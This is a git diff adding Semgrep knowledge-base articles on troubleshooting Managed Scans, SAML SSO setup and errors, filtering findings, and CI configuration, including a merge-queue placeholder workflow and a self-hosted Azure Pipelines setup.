+If you've addressed these issues but are still not seeing comments, please [reach out for help](/support), and provide information on what you've tried so far.
diff --git a/mintlify-docs/kb/semgrep-appsec-platform/no-runs-in-github-merge-queues.mdx b/mintlify-docs/kb/semgrep-appsec-platform/no-runs-in-github-merge-queues.mdx
new file mode 100644
index 0000000000..deeb05d241
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-appsec-platform/no-runs-in-github-merge-queues.mdx
@@ -0,0 +1,67 @@
+---
+title: "Semgrep Managed Scans doesn't run for pull requests in GitHub merge queues"
+---
+
+Your merge queue pipelines can become blocked if you:
+
+- Use Semgrep Managed Scans to automatically scan your projects
+- Use GitHub merge queues to automate pull request merges
+- Have made the Semgrep scan a required check
+
+Managed Scans do not run in merge queues, so the required Semgrep check never passes, preventing merges.
+
+## Why Semgrep doesn't run in merge queues
+
+Semgrep doesn't run in merge queues because:
+
+- Diff-aware scans during a merge queue check aren't meaningful. The purpose of a diff-aware scan is to catch issues before code is merged. Pull requests in a merge queue are already approved for merged.
+- Full scans take a long time, significantly delaying merges for larger repositories.
+
+## Workaround
+
+To keep Semgrep required for pull requests without blocking merge queues, define two separate [GitHub rulesets](https://docs.github.com/en/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/about-rulesets#about-rulesets):
+
+1. **Pull request ruleset for the main branch**: requires the Semgrep check to pass before merging
+2. **Merge queue ruleset for the main branch**: does **not** require the Semgrep check. Instead, this uses a placeholder check that runs on `merge_group`.
+
+### Define your rulesets
+
+
+
+ Go to your GitHub repository.
+
+
+ Go to **Setting > Code and automation > Rules > Rulesets**.
+
+
+ Configure your rulesets:
+ - **PR**: requires the Semgrep check to pass before merging.
+ - **Queue**: does **not** require the Semgrep check
+
+
+
+### Create a placeholder workflow
+
+Define a workflow to provide a passing check for merge queue events:
+
+```yaml
+# .github/workflows/semgrep-mq-placeholder.yml
+name: Semgrep - merge queue placeholder
+
+on:
+ merge_group: {}
+ workflow_dispatch: {}
+ pull_request: {}
+
+jobs:
+ semgrep-mq-placeholder:
+ name: semgrep-cloud-platform/scan # this is the name required in the MQ ruleset
+ runs-on: ubuntu-latest
+ timeout-minutes: 3
+ steps:
+ - run: echo "OK – Semgrep already ran on the PR; MQ can proceed."
+```
+
+## Example walkthrough
+
+Watch this [Loom recording](https://www.loom.com/share/57e7288e1c5b4b22b6386e5c49953381) to see a walkthrough of the workaround.
diff --git a/mintlify-docs/kb/semgrep-appsec-platform/projects-not-yet-started-sms.mdx b/mintlify-docs/kb/semgrep-appsec-platform/projects-not-yet-started-sms.mdx
new file mode 100644
index 0000000000..a7e023c774
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-appsec-platform/projects-not-yet-started-sms.mdx
@@ -0,0 +1,32 @@
+---
+title: "Why are my projects showing a status of 'Not yet started' after I enable Managed Scans?"
+description: "When onboarding a large number of projects to Semgrep Managed Scans (SMS), users may notice that many of them show a 'Not yet started' status, even after enabling Managed Scans. This is because Semgrep doesn't trigger scans for all projects at once. Instead, Semgrep scans the repositories over time to manage system resources effectively."
+---
+
+If you need immediate results for specific projects, you can manually trigger a scan:
+
+
+
+In Semgrep AppSec Platform, navigate to **Projects**.
+
+
+Find the project you want to scan, then click the project's ** window icon** under the **Details** column.
+
+
+On the project's **Details** page, click **Run a new scan > Rule-based detection**.
+
+
+
+After the initial scan, Semgrep automatically scans each repository every week.
+
+
+**WARNING**
+
+If projects remain in **Not yet started** status for longer than a week, or if manually triggered scans don't start, this could indicate an issue with the:
+
+- Repository permissions
+- SCM access token
+- Network connectivity
+
+In such cases, [contact Semgrep Support](/support) for assistance.
+
\ No newline at end of file
diff --git a/mintlify-docs/kb/semgrep-appsec-platform/remove-users.mdx b/mintlify-docs/kb/semgrep-appsec-platform/remove-users.mdx
new file mode 100644
index 0000000000..59cd1cf5d3
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-appsec-platform/remove-users.mdx
@@ -0,0 +1,32 @@
+---
+title: "Remove users from your Semgrep AppSec Platform organization"
+---
+
+When you remove a user from your connected GitHub organization, GitLab group, or single sign-on (SSO) provider:
+
+- They can no longer sign in to Semgrep.
+- Any active session for that user in the platform expires within seven days.
+
+However, their user record may still appear in your Semgrep organization's members list.
+
+To have the user record removed from your Semgrep organization as well:
+
+1. Ensure that you have removed the user from connected groups in the identity provider.
+2. [Contact Semgrep Support](/support) to have the user removed from your organization. Provide the following information in your request:
+ - The user's email address and sign-in method. If the user had access to the platform via multiple sign-in methods, please include all the methods whose accounts you want to delete. For example, if the user signed in using both GitHub and SAML SSO, please let Semgrep know whether the GitHub account associated with the user should be deleted or the SAML SSO account should be deleted instead.
+ - Your Semgrep organization name or ID.
+
+## Manage available identity providers
+
+If you have multiple identity providers enabled in your Semgrep organization, and want to prevent users from logging in using their GitHub or GitLab credentials:
+
+
+
+ Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login), and navigate to **Settings > Access > Login Methods**.
+
+
+ Click the toggle for **GitHub SSO** or **GitLab SSO** to turn off the sign-in method.
+
+
+
+This change prevents any new logins from users with GitHub or GitLab credentials.
diff --git a/mintlify-docs/kb/semgrep-appsec-platform/rerun-managed-scans.mdx b/mintlify-docs/kb/semgrep-appsec-platform/rerun-managed-scans.mdx
new file mode 100644
index 0000000000..116c603fe4
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-appsec-platform/rerun-managed-scans.mdx
@@ -0,0 +1,14 @@
+---
+title: "How to re-run a Semgrep Managed Scan"
+---
+
+You can re-run full scans from the **Projects** page in Semgrep AppSec Platform.
+
+There is no manual "re-run" action for pull request (PR) or merge request (MR) Semgrep Managed Scans. To re-run a PR or MR scan, push a new commit to the PR or MR branch. This triggers a new scan automatically.
+
+If no code changes are needed, you can push an empty commit:
+
+```bash
+git commit --allow-empty -m "Trigger Semgrep scan"
+git push
+```
diff --git a/mintlify-docs/kb/semgrep-appsec-platform/saml-attributestatement.mdx b/mintlify-docs/kb/semgrep-appsec-platform/saml-attributestatement.mdx
new file mode 100644
index 0000000000..28f5191194
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-appsec-platform/saml-attributestatement.mdx
@@ -0,0 +1,20 @@
+---
+title: "SAML SSO error: There is no AttributeStatement on the Response"
+---
+
+When configuring SAML single sign-on (SSO) in Semgrep AppSec Platform, you may encounter the following error: `There is no AttributeStatement on the Response`
+
+
+
+
+
+This error occurs when [an attribute within the SAML response does not contain a value](https://support.okta.com/help/s/article/SAML-attribute-statement-with-no-value-configured-not-properly-closed-in-assertion?language=en_US), resulting in a SAML assertion that does not correctly close the attribute statement. The attribute statement causes an SSO error when the service provider (SP) receives the SAML response.
+
+## Find the SAML attribute that is causing the error
+
+1. If you do not know the attribute that is causing the error, you can [identify it by investigating the payload](https://support.okta.com/help/s/article/How-to-View-a-SAML-Response-in-Your-Browser-for-Troubleshooting?language=en_US).
+2. Once you have identified the attribute in question, there are two ways for you to fix the issue. The best option depends on what information your SP expects to receive:
+ - If your SP requires a value for the specific SAML attribute statement, you must add the value in the IdP. When [setting up SSO to Semgrep AppSec Platform](/deployment/sso/#saml-20), you must provide `name` and `email`.
+ - If your SP does *not* expect the attribute statement in your SAML settings, you can remove it.
+
+Regardless of which option you choose, you can update or remove SAML attribute statements using your identity provider (IdP). Reach out to your SSO administrator or your IdP for instructions.
diff --git a/mintlify-docs/kb/semgrep-appsec-platform/saml-authentication-method-match.mdx b/mintlify-docs/kb/semgrep-appsec-platform/saml-authentication-method-match.mdx
new file mode 100644
index 0000000000..d4acd64668
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-appsec-platform/saml-authentication-method-match.mdx
@@ -0,0 +1,28 @@
+---
+title: "SAML SSO Error: Authentication method doesn't match requested"
+---
+
+When logging in to Semgrep using SAML single-sign on (SSO), you may see the error `Authentication method doesn't match requested`:
+
+
+
+
+
+This error only occurs when starting sign-in from Semgrep. To prevent the error, start your sign-in from your IdP (SSO provider).
+
+To fix this problem, you must be an `admin` in Semgrep AppSec Platform.
+
+
+
+ Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+ Click ** Settings > Access > [SSO](https://semgrep.dev/orgs/-/settings/access/sso)**.
+
+
+ Check the box labeled **Check if your SSO supports non-password authentication mechanisms (e.g. MFA, X509, PasswordLessPhoneSignin)**.
+
+
+ Click **Save** to save this setting.
+
+
diff --git a/mintlify-docs/kb/semgrep-appsec-platform/saml-bad-signature.mdx b/mintlify-docs/kb/semgrep-appsec-platform/saml-bad-signature.mdx
new file mode 100644
index 0000000000..8b018cba05
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-appsec-platform/saml-bad-signature.mdx
@@ -0,0 +1,45 @@
+---
+title: "SAML SSO Error: Signature validation failed"
+---
+
+When setting up SAML single-sign on (SSO), you may encounter the following error: `Signature validation failed. SAML Response rejected`
+
+
+
+
+
+This indicates one of two things:
+
+- You may not have entered the certificate correctly in the Semgrep SSO settings. Verify that the signature there matches the one provided by your IdP.
+- Your certificate may have a problem, such as being outside its validity dates. Inspect the signature information for the certificate you uploaded to Semgrep AppSec Platform and ensure it is valid.
+
+If your certificate file is stored as `server.crt`, you can view the signature information on the command-line using:
+
+```console
+openssl x509 -in server.crt -text -noout
+```
+
+Check information such as:
+
+- Certificate authority or Issuer
+- Validity dates
+- Signature algorithm and value
+
+Address any problems with the certificate. Then, upload the resulting certificate to Semgrep AppSec Platform:
+
+
+
+ Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+ Click ** Settings > Access > [SSO](https://semgrep.dev/orgs/-/settings/access/sso)**.
+
+
+ In the **Upload/Paste certificate** box, add the correct certificate.
+
+
+ Click **Save**.
+
+
+
+After updating the settings, attempt a new SSO login.
diff --git a/mintlify-docs/kb/semgrep-appsec-platform/saml-google-workspace.mdx b/mintlify-docs/kb/semgrep-appsec-platform/saml-google-workspace.mdx
new file mode 100644
index 0000000000..826dadd488
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-appsec-platform/saml-google-workspace.mdx
@@ -0,0 +1,104 @@
+---
+title: "SAML SSO with Google Workspace"
+---
+
+This article describes how to set up SAML Single Sign-on for Semgrep AppSec Platform with Google Workspace, including how to set up the necessary attribute mappings.
+
+
+
+
+This article describes how to set up SAML Single Sign-on for Semgrep AppSec Platform with Google Workspace, including how to set up the necessary attribute mappings.
+
+Ensure that you are an admin for both your Semgrep deployment and your Google Workspace account.
+
+## Google Workspace configuration
+
+
+
+ [Set up a custom SAML app](https://support.google.com/a/answer/6087519?hl=en#zippy=%2Cstep-add-the-custom-saml-app) in Google Workspace. The default **Name ID** is the primary email, and this value is optimal for use with Semgrep AppSec Platform.
+
+
+ When you reach the **Add mapping** step of the instructions to set up a custom SAML app, add the attribute statements that Semgrep AppSec Platform requires:
+ | Name | Value |
+ | :--- | :--- |
+ | id | `user.login` **or** `user.email` |
+ | email | `user.email` |
+ | firstName | `user.firstName` |
+ | lastName | `user.lastName` |
+
+
+
+## Semgrep configuration
+
+
+
+ Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+ Go to **[Settings > Access > Login methods](https://semgrep.dev/orgs/-/settings/access/loginMethods)**.
+
+
+ In the **Single sign-on (SSO)** section, provide a valid **Email domain**, then click **Initialize**.
+
+
+ The **Configure Single Sign-On** dialog appears to guide you through the remaining configuration steps. Begin by selecting **Custom SAML**.
+
+
+ Follow the instructions provided on the subsequent **Configure Single Sign-On** dialog pages to complete this process. When you've completed the required steps, use **Test sign-in** to test the connection.
+
+
+ Once test sign-in has passed, close the test page. Verify that the **Connection details** shown on the **Connection activated** screen are correct and close the dialog.
+
+
+ Verify that the **Connection status** is now **active** under the **Single sign-on (SSO)** section in Semgrep AppSec Platform.
+
+
+ To use the new connection, log out of Semgrep, then log back in using SSO.
+
+
+
+
+
+
+Follow these steps:
+
+
+
+ [Set up a custom SAML app](https://support.google.com/a/answer/6087519?hl=en#zippy=%2Cstep-add-the-custom-saml-app) in Google Workspace. The default **Name ID** is the primary email, and this value is optimal for use with Semgrep AppSec Platform.
+
+
+ When you reach the **Add mapping** step of the instructions to set up a custom SAML app, add the two attribute statements that Semgrep AppSec Platform requires: `name` and `email`.
+ - The attribute mapped to `email` should be the primary email.
+ - The attribute mapped to `name` should be some form of the user's name. You can use a default attribute like the user's first name, or create a custom attribute for their full name.
+
+ 
+
+
+
+ Sign in to Semgrep AppSec Platform.
+
+
+ Navigate to **[Settings > Access > Login methods](https://semgrep.dev/orgs/-/settings/access/loginMethods)**.
+
+
+ Click **Add SSO configuration** and select **SAML2 SSO**.
+
+
+ Provide a **Display name** and your **Email domain**.
+
+
+ Copy the **SSO URL** and **Audience URL (SP Entity ID)**, and provide them to Google Workspace as the **ACS URL** and **Entity ID**, respectively.
+
+
+ Copy your IDP metadata, including the SSO URL and Entity ID and the x509 certificate, from the custom SAML app in Google Workspace.
+
+
+ Enter these in Semgrep AppSec Platform as the **IdP SSO URL** and **IdP Issuer ID** values respectively, and upload or paste the X509 Certificate.
+
+
+ Click **Save** to proceed.
+
+
+
+
+
diff --git a/mintlify-docs/kb/semgrep-appsec-platform/saml-microsoft-entra-id.mdx b/mintlify-docs/kb/semgrep-appsec-platform/saml-microsoft-entra-id.mdx
new file mode 100644
index 0000000000..1c654ee4b2
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-appsec-platform/saml-microsoft-entra-id.mdx
@@ -0,0 +1,172 @@
+---
+title: "SAML SSO with Microsoft Entra ID"
+---
+
+This article describes how to set up SAML Single Sign-on for Semgrep AppSec Platform with Microsoft Entra ID.
+
+This article describes how to set up SAML Single Sign-on for Semgrep AppSec Platform with Microsoft Entra ID.
+
+
+**PREREQUISITES**
+
+- An existing Microsoft Entra ID account.
+- Sufficient permissions within Microsoft Entra ID to create enterprise apps. See [Microsoft Entra ID roles](https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference).
+- Admin privileges for your Semgrep deployment.
+
+
+Setting up SAML SSO using Microsoft Entra ID consists of the following general steps:
+
+
+
+ Create a custom **enterprise app** within Microsoft Entra ID.
+
+
+ Set up SAML SSO for your new enterprise app.
+
+
+ Configure Semgrep.
+
+
+ Add users to your new enterprise app.
+
+
+
+## Configure SSO
+
+
+
+
+
+
+ Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+ Go to [**Settings > Access > Login methods**](https://semgrep.dev/orgs/-/settings/access/loginMethods).
+
+
+ In the **Single sign-on (SSO)** section, provide a valid **Email domain**, then click **Initialize**.
+
+
+ The **Configure Single Sign-On** dialog appears to guide you through the remaining configuration steps. Begin by selecting **Entra ID (Azure AD) SAML**.
+
+
+ Follow the instructions provided on the subsequent **Configure Single Sign-On** dialog pages to complete this process. When you've completed the required steps, use **Test sign-in** to test the connection.
+
+
+ Once test sign-in has passed, close the test page. Verify that the **Connection details** shown on the **Connection activated** screen are correct and close the dialog.
+
+
+ Verify that the **Connection status** is now **active** under the **Single sign-on (SSO)** section in Semgrep AppSec Platform.
+
+
+ To use the new connection, log out of Semgrep, then log back in using SSO.
+
+
+
+
+
+
+
+ ## Create a custom enterprise app
+
+
+ Sign in to the [Microsoft Entra admin center](https://entra.microsoft.com/).
+
+
+ Use the search bar to find and navigate to **enterprise applications**.
+
+ 
+
+
+
+ Click **New application** > **Create your own application**. A menu appears.
+
+ 
+
+
+
+ Name your new application something like `Semgrep SAML`.
+
+
+ Select **Integrate any other application you don't find in the gallery (non-gallery)**.
+
+
+ Click **Create**. This takes you to your new enterprise application's page.
+
+
+
+ You have now created a custom enterprise app for Semgrep to integrate with Microsoft Entra ID. This enables you to set up SAML SSO.
+
+ ## Set up SAML SSO for your new enterprise app
+
+
+
+ From your new enterprise app's page, go to **Single-sign on** > **SAML**.
+
+ 
+
+
+
+ When prompted to **Select a single sign-on method**, select **SAML**. You are redirected to the **SAML-based Sign-on** page.
+
+ 
+
+
+
+ In the **Basic SAML Configuration** section, click **Edit**. Provide the **Entity ID** and **Reply URL**. You can retrieve these values from Semgrep AppSec Platform by performing the following steps:
+ i. Sign in to Semgrep AppSec Platform.
+ ii. Navigate to **[Settings > Access > Login methods](https://semgrep.dev/orgs/-/settings/access/loginMethods)**.
+ iii. Click **Add SSO configuration** and select **SAML2 SSO**.
+ iv. Copy the **Audience URL (SP Entity ID)** value from Semgrep AppSec Platform. Return to **Basic SAML Configuration**. Click **Add identifier** to paste this value as the **Identifier (Entity ID)**.
+ v. Copy the **SSO URL** value from Semgrep AppSec Platform. Return to **Basic SAML Configuration**. Click **Add reply URL** to paste this value as the **Reply URL (Assertion Consumer Service URL)**.
+
+
+ Click **Save** and close out of **Basic SAML Configuration**.
+
+
+ In the **Attributes and Claims** section, click **Edit**. You must add two claims. To add your first claim:
+ i. Click **Add new claim**.
+ ii. Enter `name` in the **Name** field.
+ iii. For the **Source attribute** drop-down box, select `user.displayname`.
+ iv. Click **Save**.
+
+
+ To add your second claim:
+ i. Click **Add new claim**
+ ii. Enter `email` in the **Name** field.
+ iii. From the **Source attribute** drop-down box, select `user.mail`.
+ iv. Click **Save**.
+
+
+ Close out of **Attributes & Claims**.
+
+
+
+ ## Configure Semgrep
+
+
+
+ Navigate to Semgrep AppSec Platform, and provide the values required by the SAML2 form:
+ i. Provide the **Display name** and the **Email domain** you are using for the integration.
+ ii. Copy the **Login URL** value from Microsoft Entra ID and paste it in into Semgrep AppSec Platform's **IDP SSO URL** field.
+ iii. Copy and paste the **Microsoft Entra ID Identifier** value into Semgrep AppSec Platform's **IdP Issuer ID** field.
+ iv. In Entra ID's **SAML-based Sign-on** page, click **Download** to obtain the **Certificate (Base64)**.
+ v. In Semgrep AppSec Platform, under **Upload/Paste certificate**, click **Browse** and then select the certificate you downloaded.
+
+ 
+
+
+
+ Select the box next to **This SSO supports non-password authentication mechanisms (e.g. MFA, X509, PasswordLessPhoneSignin)** if applicable.
+
+
+ Click **Save** to proceed.
+
+
+
+
+
+
+## Add users to your new enterprise app
+
+To add users to the application in so they can log in with their domain emails, refer to [Assign users and groups to an application](https://learn.microsoft.com/en-us/azure/active-directory/manage-apps/assign-user-or-group-access-portal).
diff --git a/mintlify-docs/kb/semgrep-appsec-platform/saml-stops-working.mdx b/mintlify-docs/kb/semgrep-appsec-platform/saml-stops-working.mdx
new file mode 100644
index 0000000000..17721ff4fc
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-appsec-platform/saml-stops-working.mdx
@@ -0,0 +1,27 @@
+---
+title: "Troubleshooting SAML SSO"
+description: "This article walks you through troubleshooting SAML SSO failures, including the case where your SAML configuration stops working after you've successfully configured it and used it for some time. There are several common reasons why a configuration may fail."
+---
+
+## Certificate issues
+
+If you see the error `Signature validation failed. SAML Response rejected` it's likely there is a problem with the certificate. signature validation fails if the IdP certificate becomes invalid via expiration, revocation, or rotation.
+
+### Expired certificate
+
+The most likely cause of an invalid certificate is that it is expired. If that's the case, upload a newly generated x509 certificate into your existing
+SAML configuration.
+
+To determine if this is the issue, follow the guidance to resolve the [signature validation error](/kb/semgrep-appsec-platform/saml-bad-signature).
+
+### Rotated or revoked certificate
+
+If the certificate isn't expired or outside its validity dates, verify that it matches certificate used by the IdP, and that the certificate has not been revoked.
+
+If you are not a SAML administrator, the best next step is to contact your administrator to determine if you need to provide a new certificate due to rotation or revocation of the certificate.
+
+## There was a change in network routing
+
+If your SAML administrator changes the SAML configuration on the IdP side, you must change your Semgrep SAML configuration to match. For example, your administrator might update the login URL or add a redirect. This can result in errors in SAML communication.
+
+To resolve the issue, reach out to your SAML administrator to determine the new information to use.
diff --git a/mintlify-docs/kb/semgrep-appsec-platform/scan-duration-discrepancy.mdx b/mintlify-docs/kb/semgrep-appsec-platform/scan-duration-discrepancy.mdx
new file mode 100644
index 0000000000..ad9a29e413
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-appsec-platform/scan-duration-discrepancy.mdx
@@ -0,0 +1,10 @@
+---
+title: "Why is the scan duration reported by Semgrep different from the scan duration of the end-to-end process of running a diff-aware managed scan?"
+description: "The **Duration** of a scan shown on Semgrep AppSec Platform's **Projects** page reflects the amount of time required to run the Semgrep scan. This timer begins when Semgrep sends the scan request and receives a scan identifier, and ends when Semgrep sends results and receives a `scan complete` response."
+---
+
+If your CI/CD system displays a process time that is longer than the scan duration displayed in Semgrep AppSec Platform, this value includes the time required for setup, pre-processing, and post-processing steps, in addition to the scan time. These steps can include:
+
+- Receiving and processing the webhook notification to start the scan
+- Initializing the scan job and environment
+- Cloning the repository
diff --git a/mintlify-docs/kb/semgrep-appsec-platform/search-filter-sort-findings.mdx b/mintlify-docs/kb/semgrep-appsec-platform/search-filter-sort-findings.mdx
new file mode 100644
index 0000000000..5779d4641a
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-appsec-platform/search-filter-sort-findings.mdx
@@ -0,0 +1,65 @@
+---
+title: "Search, filter, and sort findings in Semgrep AppSec Platform"
+description: "Semgrep AppSec Platform provides you with an overview of the findings identified by Semgrep Code, Supply Chain, and Secrets. Each product-specific page provides you with filters to narrow down the list of findings shown to you. For example, you can filter for Semgrep Code findings that are flagged as false positives, or you can filter for Semgrep Supply Chain findings based on CVE."
+---
+
+Learn more about the filters Semgrep offers using the following articles:
+
+
+
+
+
+
+
+The following sections of this article explain how you can use filters to identify a specific subset of findings.
+
+## Identify Semgrep Code findings flagged as false positives
+
+Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login), and navigate to **Code**. You can view findings with a status of **Ignored > False positive** from either the default **Production backlog** view or the **Pre-production** view. The **Production backlog** displays all Semgrep Code findings, while **Pre-production** displays the findings about which Semgrep left comments.
+
+## Identify Semgrep Code findings flagged by Multimodal as false positives
+
+
+
+ Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+ Navigate to **Code**.
+
+
+ Find the **Multimodal autotriage** filter, and click **False positive**.
+
+
+
+## Search for specific findings by rule or CVE
+
+This guide walks you through finding the specific rule ID in Semgrep, then applying it as a filter. You can then combine this filter with other filters, such as **Projects** or **Status**.
+
+This method can be used for Semgrep Code and Supply Chain.
+
+
+
+ Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+ Navigate to either the **Code** or **Supply Chain** page depending on which type of finding you're looking for.
+
+ i. For Semgrep Code findings, the Rule ID is the heading of each group of findings. Copy this value.
+
+ 
+
+
+ ii. For Semgrep Supply Chain findings, the **CVE** or **MAL** ID is shown on the upper-right heading of each group of findings. Copy this value. Add a dash between the prefix, such as MAL or CVE, and the numerical value.
+
+ 
+
+
+
+ Enter the value you copied in the **Rule** filter for Semgrep Code or **Rules** filter for Semgrep Supply Chain. This narrows down the findings to that specific rule or CVE.
+
+
+ You can continue adding values to the rules filter. The rules filter includes findings from **any** of the values indicated.
+
+
+
+From there, you can apply any other filters as necessary.
diff --git a/mintlify-docs/kb/semgrep-appsec-platform/semgrep-login-cli-tenant.mdx b/mintlify-docs/kb/semgrep-appsec-platform/semgrep-login-cli-tenant.mdx
new file mode 100644
index 0000000000..2d839112c0
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-appsec-platform/semgrep-login-cli-tenant.mdx
@@ -0,0 +1,19 @@
+---
+title: The semgrep login command doesn't redirect to my Semgrep tenant site
+---
+
+When executing the command:
+```bash
+semgrep login
+```
+it redirects to `https://semgrep.dev`. You may receive an error when logging in: `The requested URL was not found on the server`. As a Semgrep tenant user, you should be redirected to your tenant site, such as: https://MY_COMPANY.semgrep.dev
+
+
+## To log in to the correct tenant site
+
+Set the environment variable `SEMGREP_APP_URL` before calling the `semgrep login` function.
+```bash
+export SEMGREP_APP_URL=https://mycompany.semgrep.dev
+semgrep login
+```
+If you frequently log in from the command line, set the SEMGREP_APP_URL variable in your shell initialization file, such as `~/.zshrc` or `~ /.bash_profile`, depending on your operating system.
diff --git a/mintlify-docs/kb/semgrep-appsec-platform/sso-attribute-error.mdx b/mintlify-docs/kb/semgrep-appsec-platform/sso-attribute-error.mdx
new file mode 100644
index 0000000000..30913d7bfe
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-appsec-platform/sso-attribute-error.mdx
@@ -0,0 +1,15 @@
+---
+title: "SAML SSO error BadRequest: Missing attribute"
+description: "When setting up SAML-based SSO for Semgrep AppSec Platform, you may see the following error:"
+---
+
+```text
+Semgrep encountered an SSO error BadRequest.
+Could not process SAML parameters. Missing attribute: email
+```
+
+Semgrep AppSec Platform requires two SAML attributes to be sent: `name` and `email`. If either one is missing, this error appears during the login process. For example, if the `name` attribute is missing, the message reads `Missing attribute: name`.
+
+When you see this error, review your SAML configuration or the SAML assertion content. Most commonly, when setting up the SAML app, you provided the right information (the user's name and email) but the name or namespace of the attributes isn't an exact match to `name` or `email`. For example, you are sending the user's full name, but the attribute is called `user.fullName`. You should rename the attribute to `name`.
+
+Review step 4 of the [SAML setup process](/deployment/sso/#saml-20) for guidance in setting up the attributes as required by Semgrep. For Microsoft Entra ID, see steps 4 and 5 of [Set up SAML SSO with Microsoft Entra ID](/kb/semgrep-appsec-platform/saml-microsoft-entra-id).
diff --git a/mintlify-docs/kb/semgrep-ci.mdx b/mintlify-docs/kb/semgrep-ci.mdx
new file mode 100644
index 0000000000..9954b7c849
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-ci.mdx
@@ -0,0 +1,69 @@
+---
+title: "Semgrep in CI"
+---
+
+
+
+ Run Semgrep on self-hosted Ubuntu runners in Azure DevOps.
+
+
+ Running Semgrep commands in Azure Pipelines templates.
+
+
+ Scan code hosted in Bitbucket using Jenkins projects or pipelines.
+
+
+ Align scan results between CI and CLI and understand differences in behavior.
+
+
+ Collect logs from GitHub Actions to troubleshoot Semgrep CI scans.
+
+
+ Collect verbose logs from GitLab to troubleshoot Semgrep CI scans.
+
+
+ Troubleshoot git command failures that occur during PR and MR scans.
+
+
+ Set up GitHub repository rulesets to implement Semgrep across repositories.
+
+
+ Learn how to set up reusable GitHub workflows for Semgrep scans.
+
+
+ Prevent the "resource not accessible by integration" error when uploading findings.
+
+
+ Set up full and diff-aware scans in Jenkins Multibranch Pipeline projects.
+
+
+ Set additional environment variables to receive Semgrep MR comments.
+
+
+ Learn why new SCM connections can appear in Semgrep AppSec Platform.
+
+
+ Review options to scan compressed files and other artifacts with Semgrep.
+
+
+ Scan a monorepo in parts for better CI performance and clearer findings.
+
+
+ Learn how to add Semgrep to your Semaphore pipeline.
+
+
+ Learn how to run a diff-aware scan.
+
+
+ Upload Semgrep findings to the GitHub Advanced Security Dashboard.
+
+
+ Upload Semgrep findings to the GitLab Security Dashboard.
+
+
+ Configure GitHub Actions workflows to use the `nonroot` Semgrep Docker image.
+
+
+ Prevent duplicate findings by running full scans only on the main branch.
+
+
diff --git a/mintlify-docs/kb/semgrep-ci/azure-self-hosted-ubuntu.mdx b/mintlify-docs/kb/semgrep-ci/azure-self-hosted-ubuntu.mdx
new file mode 100644
index 0000000000..9a39327018
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-ci/azure-self-hosted-ubuntu.mdx
@@ -0,0 +1,192 @@
+---
+title: "Semgrep with self-hosted Ubuntu runners in Azure Pipelines"
+---
+
+Semgrep provides a [sample configuration for Azure-hosted runners](/semgrep-ci/sample-ci-configs#azure-pipelines). If you use self-hosted Ubuntu Linux runners, you have significantly more control over their configuration, but as a result, they require additional preparation and configuration to run Semgrep.
+
+This guide adds two approaches to configuring self-hosted runners that use Ubuntu (the default self-hosted option for Azure DevOps Linux runners):
+
+- [Using pipx](#using-pipx)
+- [Using uv](#using-uv)
+
+Both `pipx` and `uv` install Semgrep into an isolated environment, which avoids issues with system-managed Python vs user-installed Python.
+
+## Using pipx
+
+[`pipx`](https://pipx.pypa.io/stable/) installs standalone Python applications into isolated environments. This is the recommended approach for installing Semgrep on a self-hosted runner.
+
+### Prepare your runner
+
+Access the runner and execute the following commands:
+
+```bash
+$ sudo apt update
+$ sudo apt install pipx
+$ pipx ensurepath
+```
+
+After completing the commands:
+
+
+
+Start a new shell session, so that the changes from `pipx ensurepath` are available.
+
+
+Ensure the [Azure DevOps agent](https://learn.microsoft.com/en-us/azure/devops/pipelines/agents/linux-agent?view=azure-devops) is set up and running.
+
+
+
+### Create your configuration
+
+
+
+Follow the steps provided in the [sample configuration for Azure-hosted runners](/semgrep-ci/sample-ci-configs#azure-pipelines).
+
+
+Add the following snippet to the `azure-pipelines.yml` for the repository.
+
+```yaml expandable
+variables:
+ - group: Semgrep_Variables
+
+pool:
+ name: Default
+
+steps:
+ - checkout: self
+ clean: true
+ fetchDepth: 20
+ persistCredentials: true
+ - script: |
+ pipx install semgrep
+ if [ $(Build.SourceBranchName) = "master" ]; then
+ echo "Semgrep full scan"
+ semgrep ci
+ elif [ $(System.PullRequest.PullRequestId) -ge 0 ]; then
+ echo "Semgrep diff scan"
+ git fetch origin master:origin/master
+ export SEMGREP_PR_ID=$(System.PullRequest.PullRequestId)
+ export SEMGREP_BASELINE_REF='origin/master'
+ semgrep ci
+ fi
+ env:
+ SEMGREP_APP_TOKEN: $(SEMGREP_APP_TOKEN)
+```
+
+
+**CUSTOMIZING THE CONFIGURATION**
+
+- If your self-hosted runner [agent pool](https://learn.microsoft.com/en-us/azure/devops/pipelines/agents/pools-queues?view=azure-devops&tabs=yaml%2Cbrowser) has a different name, update the `name` key under `pool` to match the desired agent pool.
+- If your default branch is not called `master`, update the references to `master` to match the name of your default branch.
+
+
+
+
+## Set environment variables in Azure Pipelines
+Semgrep minimally requires the variable SEMGREP_APP_TOKEN in order to report results to the platform, and other variables may be helpful as well. To set these variables in Azure Pipelines:
+
+
+
+ Set up a variable group called Semgrep_Variables.
+
+
+ Set SEMGREP_APP_TOKEN in the variable group, following the steps for secret variables. The variable is mapped into the env in the provided config.
+
+
